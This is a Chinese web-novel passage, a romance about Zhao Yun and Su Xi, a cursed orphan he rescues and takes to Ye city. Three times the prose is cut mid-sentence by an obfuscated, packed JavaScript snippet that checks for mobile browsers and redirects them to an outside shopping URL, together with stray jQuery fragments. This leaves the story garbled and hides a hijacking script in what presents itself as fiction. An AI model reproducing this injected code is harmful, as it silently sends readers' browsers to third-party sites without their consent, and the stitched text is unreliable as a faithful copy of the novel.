《赵云捡来的小娘子》 1. 幸于乱世 苏兮出生时大概是被什么诅咒了。且不出意外的话,这份霉运会伴随一辈子。 证据一:她又差点死了。 不过给军营众人做顿早膳,灶台里窜起的火舌,专挑苏兮靠近时猛扑,非要与她争个你死我活。 证据二:她枕边总会出现莫名其妙的东西。 今早是一条完整的蛇蜕,没见蛇身,苏兮万般庆幸。 昨天是一只不知死了多久的蝙蝠干尸,在她醒的瞬间,从房梁上掉落到她胸口。 明明同屋的姐妹榻上干干净净,独独自己的,三天两头便是“惊喜”。 不过这些,对于霉运缠身了十六年的苏兮来说,早已习以为常。 证据三,也是最重要的证据,这个叫赵云的男人,总会恰好出现,恰好能救她。 就像此刻,当所有人都无法靠近膳房,以为苏兮会被活活烧死在里面时,赵云就那么不紧不慢地走来,一把拎起苏兮,单手夹在臂弯内。 “看来苏兮姑娘又把我的话当耳旁风。遇事不要独自上前,等我来。你又忘了?” “我没忘……” “那方才为何冲上去?” “抱歉……” 苏兮被赵云放下,跌坐在膳房门外,看着赵云平静地将火扑灭。 “我一靠近火势就变大,将军一靠近就小……”苏兮不禁喃喃,“不愧是神君!” 赵云从厨房折返出来,脸上沾了点烟灰,但不减他冷峻容颜。 “受伤没有?”赵云单膝跪地问,“方才凶了你,没吓着吧?” 苏兮连连摇头,取下腰间的绣帕捏在手中,斟酌后开口: “将军脸弄脏了,我……帮你擦擦?” “不必。” 果然拒绝得毫不犹豫。 但苏兮还是不死心。谁规定的他拒绝一次,自己不能追问二次? “你看我的手都到这儿了,就让我替你擦吧,好吗?” “不必,我自己擦。” 而后赵云取走苏兮手中的绣帕,把脸上灰烬擦净。苏兮稍稍失落了下,但看他拿着自己的绣帕,欣喜压过失落。 擦拭干净,赵云归还绣帕,苏兮捧在手里埋下头傻乐呵。 赵云却蹙了眉。 “我回头再送你一方新的吧。”赵云道。 “啊?”苏兮茫然抬头,“为何?这方还是好的呀?” “被我弄脏,你这般心疼。实在过意不去,我再送你新的,这个丢了吧。” 原来是将苏兮埋下头窃喜误以为伤心。 赵云说着就来拿绣帕,苏兮连忙将手背至身后。 “我没有心疼!这个挺好,不用别的。” 这可是赵云送她的第一方绣帕,日里夜里带在身上的宝贵之物,可不能丢了。 赵云当苏兮是顾及自己,深深一礼道:“你休息会儿,早膳剩下的我来帮你弄。” 苏兮连忙摆手:“不必劳烦将军!放心,您都来过了,不会再出事的。” 赵云素来不争不抢,也没去深究苏兮这稍显怪异的话。苏兮既如此说,他便应了。 宽大的手伸来,早已生出默契的苏兮毫不犹豫将自己的手搭上去,赵云将她从地上拉起身。 “伤口上药了吗?” “啊?” 苏兮没明白赵云为何突然这么问,方才他来得及时,自己并未受伤。正自纳罕,赵云已抬手拨开她今晨特意裹上的头巾,露出额头。 “这里,何时受的伤?” “……昨日。” 苏兮心中惊异,不知他如何看出来的。巾子裹得并无破绽,厨娘戴个头巾原是寻常,旁人看不出,怎偏他就能瞧出伤了? “怎么受的伤?”赵云问。 “菜刀掉地上,我弯腰去捡,脚底突然打滑,额头就撞了上去。”苏兮讪讪笑着,摸了摸侧颈道,“没想到菜刀掉地上是立着的,而且是刀尖朝上,哈哈哈哈……还好撞上去的不是眼睛,否则往后就是独眼了。” 她又踩了踩脚底下干燥无滑的地面。 “这地平日也不打滑的,估计是昨日我打扫得不够仔细吧。” 赵云也跟着用脚底蹭了蹭地面,地面甚至有些滞涩,哪里像是会打滑的样子。 “小心谨慎些,记得上药。” “好。” “往后遇上情急之事,不要独自贸然上前,记得叫人,不许再把我的话当耳旁风。” “是……” 说罢,赵云转身便要走。 “欸,将军要走了吗?”苏兮下意识叫住他。 赵云回头,问:“有事?” 苏兮一面摇头一面道:“马上用膳了,不吃了再走吗?” “我得即刻赶去城中,不用了。” 苏兮站在原地,看着赵云离开的背影,暗暗嘀咕:走得也太快了,又被他拒绝了。唉,今日估计是无缘再见了,将军明日见。 与赵云相识至今,苏兮始终没找到跟他进一步的办法。恩情未报,再不主动些,只会欠他更多。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17589306|205414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早知道跟他说看不见伤口,求他帮忙上药了。” 不过,肯定会被“男女授受不亲”“姑娘要洁身自好,不可逾规越矩”等理由拒绝吧,苏兮早习惯了。 “明明手也碰过,腰也抚过,甚至连耳朵都咬过……还拿男女之别来拒绝我。” 十六个月,苏兮真弄不明白赵云的心思。 此时,与苏兮同住一屋的南枝赶来,确认苏兮没受伤,松了口气。随之看了眼赵云远去的方向,又看苏兮红透的耳朵,掩唇偷笑。 “我这在一旁瞧着,还以为在看哪家不懂事的妹妹,又被哥哥训呢。也幸亏是赵将军,训人都这么温柔。字词是强硬了些,但那态度,还以为在安慰人,差点动心了呢。是吧,苏兮妹妹?”南枝打趣道。 苏兮装作听不懂的样子,重新整理好头巾。 “南枝你说,将军为何下凡到人间?这伤我藏得那么好,怎么瞧出的?神眼?!”苏兮一本正经地问。 南枝笑道:“赵将军是人,不是神。再说你这哪儿藏好了?炎夏裹头巾,还包得严严实实,掩耳盗铃啊?” “那也是神幻化的人,来解救苍生!所以营中上下,半数都视将军为恩人,大家誓死追随将军!” 苏兮沮丧着轻叹一息。 “可他偏偏救了我。三天两头只身入险,只为救我,替我化险为夷。跟捡了个包袱有何区别……” “苏兮,不许说自己是包袱。”南枝揪着苏兮的脸蛋道,“那你说说,若给你个报恩的机会,你想为将军做什么?” 苏兮毫不犹豫道:“做丫鬟,服侍将军!” “什么丫鬟?服侍什么?” 苏兮没察觉出南枝意有所指,直言道:“服侍什么都行,将军要什么我都能做!我可是从见到将军的第一眼,就已经立下誓言的!” “那,”南枝凑近低语,“通房丫鬟呢?” “也行!” 话脱口而出,苏兮后知后觉,羞愧地埋下头。 “南枝,瞧你让我说了什么大逆不道之言……将军可是我的救命恩人,我怎能觊觎他的身子……” 虽然她是曾产生过这等念头,但后果如何,她不想再经历二次。 南枝笑着抚摸苏兮的发顶,问:“那咱说点别的。要不跟我讲讲,你跟将军是怎么遇见的?” 苏兮捏着绣帕,不算久远的回忆勾起。 “在村口遇见的。那时……我快死了,逃命时撞上路过的将军。” 准确说,她已经死了,且不止一次。 2. 乱世逢君 乱世之中,人命,牲口不如。 苏兮拼了命地朝前跑。 往哪儿跑?不知道。她只清楚,若再不跑快点,就会被匪徒抓住,像宰杀野味一般,将她作为盘中餐。 这是一座荒村。逃命的早就逃出去了,留下的要么被饿死,要么被觅食者杀死。 苏兮曾经觉得自己命大,哪怕命里带衰,也苟活到现在。但眼下看来,不过劫难比别人晚一步到罢了。 饿了数日,她仅存的力气逐渐耗尽,刚跨入门槛,门还没来得及关上,就被匪徒一脚踹开。 “你活着没用,给我们填饱肚子。” 匪徒直逼而来,揪着她的衣襟拖到门外。紧随其后的另一人大喘着气,两人皆面黄肌瘦。 谁不是饿了几天?只是强者面前,弱者为食。 “这是我抓到的,我吃。” “凭什么你一个人吃。” “这么瘦,顶多两口,没法分给你。” “老子也饿了!老子也要吃!” 没想,自己被杀之前,杀人者先吵起来。 刺耳的吵闹声下,苏兮混沌的脑袋突然清明不少。 这一幕……为何感觉一刻钟前才经历过? 苏兮掐着自己小臂的皮肉,强迫自己清醒一点。 盯着两个争论不休的人,苏兮眼前闪过相似的画面。不同的是,想起的画面,是这二人拔出刀刺向她。 对啊,自己方才已经被他们吃了,为何此刻还活着?且……时间倒流了? 苏兮想起了,临死前的最后一刻,耳边忽然听见钟声,眼前突然黑了。再次看清时,自己又回到了生活了十六年的屋子,两个贼人发现她之前。 “我没有死……我还活着……而且,此刻是我唯一能逃出去的机会!” 不同上一次,苏兮没再乖乖认命等死等被吃,爬起来就向村口冲去。 她觉得,这定是神君给她的机会,她的命不该至此。冲出这道门,会有神君现身,救她! 苏兮冲到路上,目之所及,荒凉一片。战乱补休,民不聊生。别说神君了,就连鸟兽也不见得有。 “是啊……世间若真有神君,怎会连兄长也要从我身边夺走。” 苏兮不过脚步慢了一瞬,身后的匪徒追上来将她按住。 “还敢跑?!老实趴着别动!” 一阵狂风卷过,苏兮闭上双眼。 噹——! 又似是沉重的钟声在脑海中响起,苏兮倏地睁开眼睛。 匪徒又不见了,自己又回到自家院子。 “怎会……” 苏兮愈发害怕,双腿发抖。匪徒“如约而至”,疯了般朝她冲来。 * 临近村口,不敢慢一刻的苏兮更加拼命地跑。 “这到底怎么回事。要我死能不能痛快些啊!我经不起折磨的……” 苏兮冲天喊着,委屈极了,可哭不出来。 远远的,她看见一道人影朝这边走来。苏兮太饿了,眼前发昏,等看清时,人已到了跟前,再想躲藏已来不及。 完了……一定也是来此觅食之人,她彻底逃不走了。 果然,不管发生再离奇的事,她终究活不下去。 苏兮僵在来者跟前,四肢皆在发抖。此人身长八尺,居高临下地盯着她。 “冒昧了。敢问姑娘,在这荒村做什么?” 态度温和,眉目清隽,毫无杀气恶意,莫非此人—— “你是神君吗……救救我好不好,我是逃……” 眼前一黑,苏兮再也支撑不住,全身软瘫倒地。 幸得赵云眼疾手快,扶了下。但也就一下,即刻收手。苏兮仍摔在地上,但被他接了一下,没摔得太重。 赵云看看扶了这姑娘一瞬间的手,眼睛躲闪。 “情急冒犯,我赵云并非趁人之危的小人,请姑娘相信我。” 然而晕倒的苏兮根本听不见他在嘀咕什么。 赵云看着跟前呼吸微弱的姑娘,双目眺望,竟在不远处瞧见两个争执不下、相斗而亡的尸体。 自己不过途经此处,想找个地方歇歇脚,没想撞见这般景象。 “乱世之过,恕我无能为力。” * 夜色渐沉,黎明又到,苏兮整整昏迷了一夜。 天亮不久,苏兮转醒,睁开眼时,先看见晨光,然后是一张被勾勒得明暗分明的脸。剑眉星目,神色平和,正闭目养神。 苏兮愣了一瞬,昨日晕倒前恍惚看见的,也是这张脸。 是神君! “姑娘醒了?身子可还有不适?”赵云察觉动静,睁眼道。 “是您……救了我……敢问恩人是?” “赵云,赵子龙。” 苏兮撑着身子想要坐起,可四肢仍软,索性顺势跪地,向赵云深深一叩。 “多谢赵将军救命之恩!” “举手之劳。” 苏兮额头仍贴着地面道:“将军不仅救我,还守在身旁……此恩此德,若将军想要,我……将军随时可取!” “我留下,是有事需问清姑娘,并非全为守候。” 苏兮抬起头望向赵云。 “将军请问。” “你家在何处?我送你回去。” 所以守了这么久,就为问这?苏兮又感动到觉得委屈。 不愧是神君,她真的遇见了神。 自己求了这么多年,从父母离世,大黄狗离世,兄长离世……他终于出现了。 差点,苏兮就扑上去抱着赵云痛哭流涕。 “这儿……就是我家。” 苏兮环顾破败的茅屋。这里的确是她生活了十六年的家。 赵云瞧她神情,知自己问错了话,心生歉意。 “姑娘可还有其他亲人?我此去邺城,可顺路送你投靠。” “没了。”苏兮摇头,“这世上只剩我一人了。” 赵云摸了摸侧颈,接连问错话,只觉自己嘴拙。 “这可如何是好。” “将军不必为难,您已救我一命,此恩已重,不必再为我烦心。” 赵云没立刻接话,似深陷苦恼。 苏兮以为他没听清,便端正身形,又俯身叩首:“苏兮多谢赵将军救命——” “苏姑娘可愿随我走?” 苏兮抬起脸,茫然道:“走?去何处?” “我此行前往邺城投奔刘皇叔。姑娘可暂与我同行。至邺城后,我为你寻一处安身之所。此次荒凉,你留下只有死路一条。倒不如跟我走,另谋生计。” 苏兮望着他,手不自觉攥紧。一瞬间,她好似明白了自己为何周而复始的临死又复生。 因为时机未到。若她不拼了命逃出去,便见不到神君降临,见不到眼前给她生的希望的神。 “苏兮誓死追随将军!万死不辞!” 赵云被小姑娘郑重的模样逗笑,第一次露出笑脸。 “神君……真的是神君……” 苏兮小声嘀咕,瞬间热泪盈眶,死死按住自己蠢蠢欲动的双手。 * 走出茅屋,苏兮下意识朝昨日遇袭的方向望去。 “那两个匪徒?” “姑娘晕倒后,他们斗至两败俱亡。虽曾为恶,终究也是可怜人,我已将他们安葬。” “多谢赵将军。” 赵云略感意外:“他们本要伤你,你仍愿为他们道谢?” “若非这世道,人又怎会相食,皆是可怜人罢了。” 赵云漠然看苏兮片刻,转身去不远树下牵来马匹。 “苏姑娘请上马。” 苏兮看着比自己还高的马背连连摇头。 “还是赵将军骑马吧,我不会拖后腿,一路跑着跟您。” “我身子壮,走百里不成问题。苏姑娘上去吧。” “可我……不会骑马。” 别说骑马了,苏兮长大至今,还是头一回见这比自己庞大那么多的牲畜。 赵云执缰走近道:“不难,我教姑娘。右脚先踩上去,借力一跃,便可翻身坐上去。” 苏兮咬了咬牙,勉强踩住马镫向上跃去。马却忽地扬蹄一摆,将她掀向地面。 赵云迅疾上前,托住她后背。垂眸,正对上苏兮睁圆、灵动的双眸,耳根一热,立刻收手退开。 “并非有意触碰姑娘,失礼了。” “情况危急,将军是好意。” 幸而苏兮此时双脚已落地,未再像之前那般被他丢开摔倒。 “这马自来乖巧,今日怎么突然人生了?想来只能我先上马,再拉姑娘上来。” 见赵云纳闷,苏兮实在说不出是因为自己命衰,这马才变了性子。 苏兮自小不敢接触比自己大些的牲畜。尽管自己不去招惹,它们也会自己找上来。被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17589307|205414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 野猪冲出来撞伤,鸡鸭鹅追着满村子跑,这都是常事。 “有劳将军。”苏兮颔首道。 赵云利落地翻身上马,朝下伸出手。 “苏姑娘。” 日光正烈,赵云逆光而立的身影轮廓分明。苏兮眯眼望出了神。 又是那种感觉,宛若仰望神君,挪不开眼。 “苏姑娘?” 苏兮回过神,抬手伸向赵云。两人的手在空中将触未触,却同时顿住。 “咳,情况特殊。” “您是神君,触碰您是我的福分。” “什么?” “没没没,我自言自语!” 赵云握住苏兮的手,不做多余动作。苏兮借力上马,坐稳后头顶传来叮嘱: “坐稳,握紧鞍前。” “好。” 马身微晃,苏兮身子向后倾了倾。她伸手试图抓住什么,恰好碰到赵云及时横来的手臂。 “多谢将军。” “嗯,姑娘坐稳,我下去了。” “啊?!” 赵云作势就要翻身下马,苏兮立马扭转上身拦住他。 “别!我害怕!我真不会骑马!” “我牵马,不会有事的。” “不要吧……这……” 苏兮着急地左右看看,而后可怜地抬眸看向赵云。 “就不能一起吗?” * 行了约莫一个时辰,赵云在一处溪流边勒马。 “歇息片刻,饮些水。” 苏兮不记得自己有没有回答,只是身子忽地后仰,撞进一方温暖的胸膛。 头好晕……身体好热……胃里好恶心…… 马在树下停住,赵云抱起苏兮跳下马背,快步将她放在树荫下。取来水囊,将她扶起,喂她水喝。 半晌后晕眩消退,清风吹拂,苏兮缓缓抬眼,看向正在检查马具的赵云。 “兄长……” 赵云听见苏兮微弱的声音,快步走来蹲下身。 “姑娘醒了?可还有哪里不适?” “你回来了……” 赵云蹙眉:“苏姑娘,我是赵云,你认错了。” “兄长……” 苏兮倏地环上赵云的脖颈,脸埋在他颈窝痛哭起来。 “为何不带苏兮一起走……留我一个人要怎么活……说好的相守一辈子……” 赵云全身僵住。 “苏姑娘说的‘相守一辈子’,是夫妻间的那种?” 苏兮哭得昏沉,哪里听得见。眼里看到的,心里想的全是兄长。 赵云握住苏兮的手腕,帮她将环住自己的手臂松开。从怀中掏出布巾,打湿后覆在苏兮额头上。 慢慢的,苏兮神志清醒了些。 “所以苏姑娘是已有夫君,还让我娶你吗。” 苏兮抬起泪眼,茫然问:“啊?” 赵云道:“你方才念及相守一生之人。昨日还说,若是我想,娶了便是。想不到姑娘,竟是如此轻浮之人。” 苏兮想起自己昨日确实说了句:“此恩此德,若将军想要,我……将军随时可取。”。 霎时脸颊烧得通红,慌忙跪坐在草地上,垂下脑袋。 “将军误会了!我说的取,是取我性命的取!将军若哪天想要我这条命,随时可取,不是……不是那个娶……而且我说的人,是我同父同母的兄长。” 赵云霎时变得难堪。 “是我误解了姑娘的意思,抱歉。” 苏兮悄悄抬起眼,看见赵云耳根也泛着红,心里又羞又欣喜。 原来神君也会害羞啊。 “兄长……去年遇害。母亲生我时难产离世,父亲因伤心过度也随之而去。我与兄长自小相依为命,说好要相守一辈子。” 溪水潺潺,风过林梢。赵云起身,朝苏兮伸出手。 “走吧,苏姑娘。前路漫漫,我拉你一把。” 苏兮看着赵云逆光而立的身影。这次没有犹豫,把手放进了他掌心。 “将军放心吧,我绝不会给你拖后腿的!大概?” “还有,以后不可再对别的男子说‘取了便是’这种话。” 苏兮愣住:“为何?” 莫非是神君觉得自己轻视自己的性命? 赵云带着苏兮上马,而后,低沉的声音从背后传来。 “因为,取与娶同音。” 3. 却误离别 次日上路,赵云的话还在苏兮耳边转。 “以后不可再随便对别的男子说‘取了便是’这种话。” 苏兮想了整整一夜,也没想明白赵云此话到底何意。是嫌她说话没分寸?还是别的什么?万一是神君下达的指令,点化她被霉运缠绕的一生,错过了可怎么办! 抑或是……不许让别的男子娶自己?但,怎么可能。 苏兮不敢深想,怕误了大事。眼下只想好好跟着赵云,在他身边多待会儿,多吸收些神力,往后自己独自生存,也少受些罪。 马走得不快,苏兮以为是赵云不急着赶路,故而轻松了些。 沉默了一阵,苏兮忽然想起来,她只知赵云姓名,其他一概不知。要问问吗?探听神君的身份,不会被天雷劈死吧? “赵将军……?”苏兮犹豫着开口。 “嗯。”赵云应道。 “您是要去邺城投奔谁?” “刘备,刘皇叔。此前我在公孙瓒大人帐下时,曾与他有过交集。此人胸怀大志,一心只想匡扶汉室,我欲追随他,一同建功立业。” 没成想自己追问前,赵云自己主动讲述,苏兮激动得连连颔首。 “那……您是从哪儿来的?” 赵云道:“常山。” “常山?”苏兮没听过这地方,问,“很远吧?” “走了些日子。” 苏兮感觉到赵云说话时藏了些情绪,本想再问,又怕唐突,或触及伤心事,便住了口。 倒是赵云先开了口。 “七年前兄长过世,家中父母无人照料,我便请辞归乡。两年前,父母过世,我在家守孝。如今乱臣贼子猖獗,于是决心出来寻皇叔。” 苏兮心头忽然一酸。她原以为神君,该是了无牵挂、风流倜傥的。 她本想安慰说“我也一样”,但仔细想想哪里一样,父母和兄长……不是被自己的霉运克死的吗。 “往后投靠了刘皇叔,将军会有更多亲人,不会孤独的。” 赵云沉默半晌,轻轻“嗯”了一声。 “身子好些了吗?怕你不适,刻意走得慢了些。”赵云道。 苏兮愣住,心头忽然暖意泛滥。 “好……好些了。” * 日头渐高,两人在一处树荫下歇脚。 赵云把水囊递给苏兮,自己靠在树干上闭眼养神。苏兮喝着水偷偷看他。他眼下有青痕,许是昨夜又没休息。 “要我帮将军捏捏脚吗?从前兄长常夸我手法不错呢。”苏兮开朗道。 “不必。”赵云平静回。 苏兮笑容僵了一瞬,又明朗道:“将军饿不饿,我去那头找些野果来?” “不用。姑娘若是饿了,请自便。”赵云说话时眼睛都不曾睁开。 许是真累了。 找不出自己能主动做些什么,苏兮乖乖坐在一旁,望着远处发呆。 赵云睁开眼,看了看苏兮。察觉视线,苏兮也看过来,随即扬起笑脸。 “将军睡吧,我不打扰您。” 赵云转开视线,道:“说些话吧,否则太安静。” 苏兮顿时来了兴致。 “将军自小参军吗?” “十五岁时率领义从吏兵投奔公孙瓒大人,四处讨伐两年,而后归乡。” 十五岁,两年,七年,所以将军如今二十四?年长自己八岁……苏兮在心底计算着。 “我兄长……”苏兮手指抠着水囊道,“也曾想过投军。” 赵云看向苏兮。 “兄长说这世道太乱,种好的庄稼,说不定哪天就被战火烧了。还是参军好。”苏兮嘴角弯了一下,又很快抿平,“可后来,他没去成。” “为何?” “因为他担心自己若是走了,以我这命……怕是他一转头,我人就没了。” 苏兮说得轻描淡写,但赵云注意到她攥着的手指愈发使劲儿。 “苏兮姑娘命不好?” 听赵云这么一问,苏兮僵住。担心若说“是”,赵云会把她丢在这荒郊野岭,避而远之。 毕竟霉运,是真会传染的。 “不是……是我笨手笨脚,老是做错事……也不是,我不笨的,做事利索……” 心一慌,还是说错了话。苏兮恨自己不争气,无奈垂下头。 赵云也没追问,默默将此事带过。 * 傍晚,两人在一处山坳里扎营。 辛苦赵云驾着马赶路一天,以及白日里自己说错了话,苏兮自告奋勇去打水。 必须展现出自己并非无用拖后腿之人!决不能被神君抛弃! “夜里黑,还是我去吧。”赵云说着,便要去拿苏兮手里的水囊。 苏兮一个转身躲过他的手,道:“不就在那草后面嘛,又不远,将军歇会儿。” 的确不远,穿过一片比人高的草丛便是。 赵云想想,于是应了。 苏兮拨开草,走到溪边,先试了试脚下的石头稳不稳,又选了一处水流缓的地方,蹲下身子,慢慢把水囊沉进水中。 一切顺利。果然,有神君在不远处,霉运都退散不少。 水灌满,苏兮起身,没想到踩了半晌都稳稳当当的石头,突然晃了一下。 苏兮努力调整姿势让自己站稳,可这石头跟故意挑衅似的,突然变得滑溜,苏兮脚一滑,栽进水里。 “果然该来的总会来啊……” 苏兮自我打趣着,提起厚重的裙摆上岸。拨开草,远处,赵云正往生起的火堆里添柴。 “这么湿淋淋的回去,不合适吧。” 苏兮索性把水囊先放下,把身上的水弄干些再回去。 “湿了?” “啊!” 身后突然冒出的声音吓了苏兮一跳,赵云正单手拨开草,上下打量她。 “不小心脚滑掉水里去了。这青苔长得太快,明明踩上去都还没长起来呢。”苏兮笑道。 “去火堆旁吧,这里凉。” 赵云说着,递过去自己的外袍。 “先换上我的。” 苏兮接过外袍,难以置信的眸子望向赵云。 “我可以……穿您的衣裳?” 赵云背过身去,道:“湿的会生病。这衣裳是有些脏,但总比生病好。” 苏兮捧着手里的外袍,突然感动到眼眶酸胀,垂下脑袋。 他是听见自己落水的声音,才来寻她的。不是路过,不是碰巧。 “将军……” “嗯?” 苏兮倏地抬起头,拉住赵云的手臂,将他的身子转过来,眼睛湿漉漉地盯着他。 月光下苏兮的脸苍白,还带着水渍,发丝贴在脸旁,整个人狼狈极了。但她的眼睛是亮的,是认真的。 “我虽然长得不好,命也不好……但是!将军若是不嫌弃,我什么都愿意做!现在立刻……也行!” 说完苏兮才意识到自己说了什么带有歧义的话,脸颊“腾”地烧起来。她盯着赵云的表情,想从他脸上找到一点反应。 是觉得她不知廉耻,还是觉得她疯了? 赵云愣在那儿一动不动,月光落在他眉骨上,明暗分明,看不清神情。 “……也行?” 半晌,赵云含糊不清地发出声音。 “是同之前一样的意思吗?” “之前?” 苏兮努力理解“之前”是何意,但没理解到。又想起自己好似说过要报答他的恩情,洗衣裳挖野菜等都行。 “对!正是此意!还好将军聪明,听我这么说也能明白。” 保不准自己根本没说过报答恩情、做牛做马的话,但也能被他猜中。 苏兮愈来愈崇拜眼前的神君了。 赵云的脸色却变得难看,甚至怒意逐渐显现。 “苏兮姑娘。” “……我在。” “别让我后悔救你。” 赵云拨开苏兮抓着自己的手,取走她手里的水囊,头也不回地回到篝火旁盘腿坐下。 “我……”苏兮半晌才发出声响,“我就知道这张笨嘴说不出什么对的话。” 洗衣裳挖野菜等都行的话,应是从未说出口的。 苏兮垂着脑袋,拿着赵云的衣裳走回篝火边,将衣裳叠好后,平整地放在赵云身侧,而后自己走到较远的一棵树下坐下。 夜风有些凉,衣裳湿淋淋地贴在身上,苏兮瞥见不远处的火堆,刚生出靠近些的念头,又瞥见闭目端坐的赵云。 还是别去了吧。 苏兮悄悄起身,走到草丛后褪下衣裳,找了个树枝挂上去。 单薄的中衣抵不住寒意,苏兮不禁打了个寒颤,没一会儿便连打了几个喷嚏。 “好冷……” “冷的话为何不穿?” “啊!” 背后猝不及防响起的声响又把苏兮吓着。没等她回头,赵云已经抻开外袍披在她身上。 “将、将军……我……我方才的意思,不是你想的意思……我不是轻浮之人,也不是龌龊之徒!我只想报答将军的救命之恩!也没觉得将军对我抱有邪念,将军是好人,是神君!我怎敢对你……” 苏兮抓紧身上的外袍,埋着头,将心底的话倒个干净。 赵云默默站在她身后,一字不差地听全,而后“嗯”了声。 “衣裳等它晾晒在此,回火堆旁歇息吧。” 苏兮缓缓回头,小心询问:“您不生气了?” 赵云颔首,平淡道:“听过解释后,气全消了。若你不解释,我大概……明日一早天明,自行骑马离开,就当从未遇见姑娘。” 苏兮舒了口气,偷笑着捋着自己的鬓发。 “那还真是万幸。将军若不主动来寻我……我恐怕天未亮,自己便离开了,不再给将军添麻烦。” 赵云嘴角往上扯了扯。 “那还真是万幸。” * 数日之后,两人终于到了邺城。城中不许骑马,马停在驿站,两人步行进入。 苏兮从未来过这样热闹的地方,不由得多看了几眼,脚步也慢了下来。 赵云回头看她,放慢了步子。 “城中多是富贵人家。苏姑娘若想找个差事或安身之处,应当不难。” 苏兮点了点头,目光从那片喧闹中收回来,落在赵云背上。 对啊,到了该说永别的时候。 明明一路上已经想过很多次这一刻,可真到了嘴边,那句“后会无期”却怎么也说不出口。 赵云抬手碰了碰腰间的佩剑,斟酌后道:“那……苏姑娘,保重。” 苏兮欠身道:“赵将军万事平安。” 赵云转过身,走出几步。苏兮站在原地,攥着衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏兮的眼泪再也止不住了,呜咽出声。她揪着他的衣襟,把脸埋在他肩窝里,哭得浑身发抖。 赵云僵着身子,一只手悬在她后背上方,犹豫了一下,落下去想安慰她。 奈何力气没控制好,拍得苏兮呛了一下。 “抱歉!我是想安慰你!”赵云赶紧收手。 苏兮却揪着他的衣襟不让他退开。 “再待一会儿吧……求你了……” 赵云怔了怔,手又抬起来,这次落得很轻,覆在她后脑勺上,没有动。 “好。” * 过了好一会儿,苏兮的哭声渐渐止住。她从赵云肩窝里抬起头,眼睛红红的,鼻尖也红红的。 “冒犯了将军……” “无妨。” 两人分开,赵云转身去将方才打晕的贼人用绳子捆了扔在墙角。 “说来将军是怎么找到我的?” “是你的鞋,掉在巷口。” 他是说,凭借一只寻常不过的草鞋找到的吗? 赵云走到苏兮跟前蹲下身。 “上来,我背你出去。地上有碎石,扎脚。” 苏兮恨不得一下扑上去,可如此会显得自己不矜持,假装犹豫了会儿,才趴到赵云背上。赵云的手托住她的膝弯,稳稳起身。 “将军不是走远了吗?为何突然折返?” 赵云沉默了片刻才道:“忽然想起你一个人……我答应的是帮你找到容身之处,贸然离开,实属不妥。” 苏兮没再追问,只是把脸埋进他后背。 “我为何不是个男子……” 如此,便能光明正大提出参军,留在他身边。 * 到了巷口,赵云放下苏兮,弯腰捡起烂朽朽的草鞋。苏兮接过踩在脚底下,低头不说话。 “今日天色不早了,苏姑娘先随我去驿站借住一宿。往后之事,明日再商议。” “只是……一宿吗?” 苏兮抬起头,清澈的眸子映出赵云些许疑惑的脸。 “我不想离开将军!做牛做马也好,苦活累活都行!能不能……让我留在将军身边?” 赵云看着苏兮诚恳到令他幻视战场上欲要奋战的将士的眸子,心头一咯噔,鬼使神差地开始思考:若她真留在自己身边能做什么差事。 一个女子,留在四处征战之人身边,能做什么? “哪怕这件差事可能会丧命,苏兮姑娘也愿意留在我身边吗?” 苏兮以为会等来他说自己会是累赘之类的,或许稍微委婉一点的拒绝。没骨气地,咬着嘴唇嘴角一压,从喉咙深处发出呜咽。 赵云顿感无措,断定不出这是委屈还是同意。 “苏兮姑娘,说话。” “我……说不出来……” “点头示意也行。” 苏兮垂下脑袋,盯着地面,半晌没抬起。赵云也随之看去。 “脚疼么?”赵云问。 苏兮寻思了下,道:“嗯,很疼。腰也被那人勒伤,肋骨生疼得厉害,方才在将军背上差点疼哭。而且,草鞋也坏了。” 她抬眸。 “将军愿意……抱我回驿站么?我……绝无私心。” 4. 离别又念 苏兮伏在赵云背上,鼻尖埋进他的后背,如同濒死之人不断深吸。 在她看不见的另一面,赵云蹙紧的眉头不曾松开。 “苏兮姑娘这是做什么?” “在确认自己……是否真的还活着。” 赵云稍显无奈,但依旧直言道:“姑娘自重,不可逾规越矩。” 苏兮没听赵云的警告,沉浸在内心中,确认眼前发生的一切,不是自己的死亡幻想,是活生生的自己正经历的。 否则神君怎会毫无条件地将自己留在身边?这莫不是死后残存的执念?她只得一遍遍确认眼前真假。 赵云疑惑更深,可苏兮愈发变本加厉,搭在他肩头的手逐渐收紧,甚至擦上他的脖颈,探进衣襟—— “苏兮姑娘!” 彻底被惹怒的赵云,索性蹲下身,将苏兮放在地上,快步拉开较远的距离。 “到此为止吧!不受规矩之人,我如何带你投靠皇叔、匡扶汉室?往后若入了军营,姑娘行事我行我素,如何听令?方才的话,当我从未说过,姑娘好自为之。就此别过!” 光脚站在地上的苏兮仿佛这才魂归躯体。望着赵云决然离去的背影,她恨不得扇自己两巴掌。 又搞砸了。 霉运作祟,小心谨慎行事了这么些年,竟然失控到被自己搞砸。 